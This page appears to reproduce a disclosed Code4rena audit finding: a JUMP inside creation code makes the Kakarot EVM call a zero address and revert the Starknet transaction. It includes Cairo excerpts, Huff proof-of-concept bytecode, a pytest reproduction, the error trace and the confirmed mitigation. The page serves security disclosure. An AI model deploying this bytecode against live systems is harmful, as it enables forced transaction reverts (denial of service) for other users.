Skip to content
DoS Audit finding Advanced

Jump in creation code leads to reverting of the starknet transaction

A jump to an offset within the creation code during contract deployment causes the Kakarot EVM to call a zero address, reverting the entire Starknet transaction. An attacker could force a transaction to revert by deploying a contract whose creation code contains a jump to a valid offset.

ahmedaghadi Follow with gumgumzum

Originally disclosed on Code4rena

Submitted by ahmedaghadi, also found by gumgumzum

If the creation code consists of JUMP or JUMPI opcode for offset less than creation code length, then the starknet transaction reverts.

The evm.cairo::jump function is called whenever the JUMP or JUMPI opcode is executed. This function is as follows:

// @notice Update the program counter.
// @dev The program counter is updated to a given value. This is only ever called by JUMP or JUMPI.
// @param self The pointer to the execution context.
// @param new_pc_offset The value to update the program counter by.
// @return model.EVM* The pointer to the updated execution context.
func jump{syscall_ptr: felt*, pedersen_ptr: HashBuiltin*, range_check_ptr, state: model.State*}(
    self: model.EVM*, new_pc_offset: felt
) -> model.EVM* {
->  let out_of_range = is_nn(new_pc_offset - self.message.bytecode_len);
    if (out_of_range != FALSE) {
        let (revert_reason_len, revert_reason) = Errors.invalidJumpDestError();
        let evm = EVM.stop(self, revert_reason_len, revert_reason, Errors.EXCEPTIONAL_HALT);
        return evm;
    }

    let valid_jumpdests = self.message.valid_jumpdests;
    with valid_jumpdests {
->      let is_valid_jumpdest = Internals.is_valid_jumpdest(
            self.message.code_address, new_pc_offset
        );
    }

    // ...
}

It can be seen that, it checks for out_of_range which is new_pc_offset - self.message.bytecode_len. For the creation code, technically bytecode_length should be 0 but here, it will consist the length of the creation code. So, if the new_pc_offset is less than the creation code length, then this check would pass and then it checks for is_valid_jumpdest by calling evm.cairo::is_valid_jumpdest, which is as follows:

func is_valid_jumpdest{
    syscall_ptr: felt*,
    pedersen_ptr: HashBuiltin*,
    range_check_ptr,
    valid_jumpdests: DictAccess*,
    state: model.State*,
}(code_address: model.Address*, index: felt) -> felt {
    alloc_locals;
    let (is_cached) = dict_read{dict_ptr=valid_jumpdests}(index);
    if (is_cached != 0) {
        return TRUE;
    }

    // If the account was created in the same transaction,
    // a cache miss is an invalid jumpdest as all valid jumpdests were cached on deployment.
    let code_account = State.get_account(code_address.evm);
    if (code_account.created != 0) {
        return FALSE;
    }

->  let (is_valid) = IAccount.is_valid_jumpdest(code_address.starknet, index);
    dict_write{dict_ptr=valid_jumpdests}(index, is_valid);

    return is_valid;
}

Here, let (is_valid) = IAccount.is_valid_jumpdest(code_address.starknet, index); would revert the whole starknet transaction as it will call zero address which isn’t IAccount contract. So any contract using CREATE or CREATE2 opcode will be vulnerable to this issue or if a contract makes a callback to another contract by making sure to only send limited gas and handle the revert case properly, the other contract can use CREATE or CREATE2 opcode to make the transaction revert forcefully.

Proof of Concept

Consider the following code:

#define macro MAIN() = takes(0) returns(0) {
    0x00
    jump
}

Save the above code in a file name creation_code.huff. You can refer Installing Huff, if you don’t have huff installed.

The above code will jump to the offset 0 which is less than the creation code length ( i.e. 2 ) and can be converted to bytecode using the following command:

huffc creation_code.huff --bytecode

The output will be:

    60028060093d393df35f56

The runtime code, after removing the first few bytes which are responsible for deployment:

    5f56

Also, consider the following code:

#define macro MAIN() = takes(0) returns(0) {
    0x5f 0x00 mstore8 // store `PUSH0` opcode at memory offset 0
    0x56 0x01 mstore8 // store `JUMP` opcode at memory offset 1

    0x02 // size
    0x00 // offset
    0x00 // value
    create
}

Save the above code in a file name create.huff. This will jump to the offset 0 which is less than the creation code length (i.e. 2) and can be converted to bytecode using the following command:

huffc create.huff --bytecode

The output will be:

    600e8060093d393df3605f5f53605660015360025f5ff0

The runtime code, after removing the first few bytes which are responsible for deployment:

    605f5f53605660015360025f5ff0

The create.huff would call CREATE opcode with creation code as 0x5f56 (creation_code.huff).

Now to to run the test, add this file named test_kakarot_jump.py in kakarot/tests/endtoend folder:

import pytest
import pytest_asyncio
from starknet_py.contract import Contract

from kakarot_scripts.utils.starknet import (
    get_contract,
)
from tests.utils.helpers import (
    generate_random_evm_address,
    hex_string_to_bytes_array,
)

@pytest.fixture(scope="session")
def evm(deployer):
    """
    Return a cached EVM contract.
    """
    return get_contract("EVM", provider=deployer)

@pytest_asyncio.fixture(scope="session")
async def origin(evm, max_fee):
    """
    Return a random EVM account to be used as origin.
    """
    evm_address = int(generate_random_evm_address(), 16)
    await evm.functions["deploy_account"].invoke_v1(evm_address, max_fee=max_fee)
    return evm_address

@pytest.mark.asyncio(scope="session")
class TestKakarot:
    async def test_execute_jump(
        self, evm: Contract, origin
    ):
        params = {
                "value": 0,
                "code": "605f5f53605660015360025f5ff0", // create.huff
                "calldata": "",
                "stack": "0000000000000000000000000000000000000000000000000000000000000000",
                "memory": "",
                "return_data": "",
                "success": 1,
        }
        result = await evm.functions["evm_call"].call(
            origin=origin,
            value=int(params["value"]),
            bytecode=hex_string_to_bytes_array(params["code"]),
            calldata=hex_string_to_bytes_array(params["calldata"]),
            access_list=[],
        )
        print("result", result)
        assert result.success == params["success"]

You can run the test by:

# In one terminal
cd kakarot
make run-nodes

# In another terminal
cd kakarot
uv run deploy
uv run pytest -s "./tests/end_to_end/test_kakarot_jump.py::TestKakarot::test_execute_jump"

This test will throw error as follows:

    starknet_py.net.client_errors.ClientError: Client failed with code 40. Message: Contract error. Data: {'revert_error': 'Error at pc=0:37:\nGot an exception while executing a hint: Requested contract address 0x0000000000000000000000000000000000000000000000000000000000000000 is not deployed.\nCairo traceback (most recent call last):\nUnknown location (pc=0:23874)\nUnknown location (pc=0:23829)\nUnknown location (pc=0:23287)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22784)\nUnknown location (pc=0:22782)\nUnknown location (pc=0:21980)\nUnknown location (pc=0:11433)\nUnknown location (pc=0:8999)\nUnknown location (pc=0:9120)\nUnknown location (pc=0:5232)\n'}

You can see the error Requested contract address 0x0000000000000000000000000000000000000000000000000000000000000000 is not deployed.

Tools Used

Python test suite

Recommended Mitigation Steps

For JUMP and JUMPI opcodes, there should be a check whether the current environment is running creation code or runtime code. If it’s creation code, then it should revert with invalid jump destination error.

Assessed type

Error

ClementWalter (Kakarot) confirmed and commented:

Severity: Medium Ok, but assets are not directly at risks considering the tx will revert.x

LSDan (judge) decreased severity to Medium:

Kakarot mitigated:

This PR sets code_address of the deployment code to the created address.

Status: Mitigation confirmed.


The original report as published on Code4rena, by ahmedaghadi. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the jump destination validation uses the creation code length instead of zero for the bytecode length, and then attempts to call a zero address for validation, which reverts.

Impact

Any contract using CREATE or CREATE2 with such creation code will cause the transaction to revert, and a callback with limited gas could force a revert, but assets are not directly at risk because the transaction reverts.

What the attacker needed

Ability to deploy a contract with custom creation code; transaction executes the creation code

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a contract is being created, its code is temporarily stored, and a jump instruction inside that code can point to a location that is considered valid. The system then tries to check that location by calling a special contract at address zero, which does not exist, so the whole transaction fails. This means a contract can be written to always cause a failure when it is created.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ahmedaghadi

View all

1 more disclosed report, best first.

More from Kakarot

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.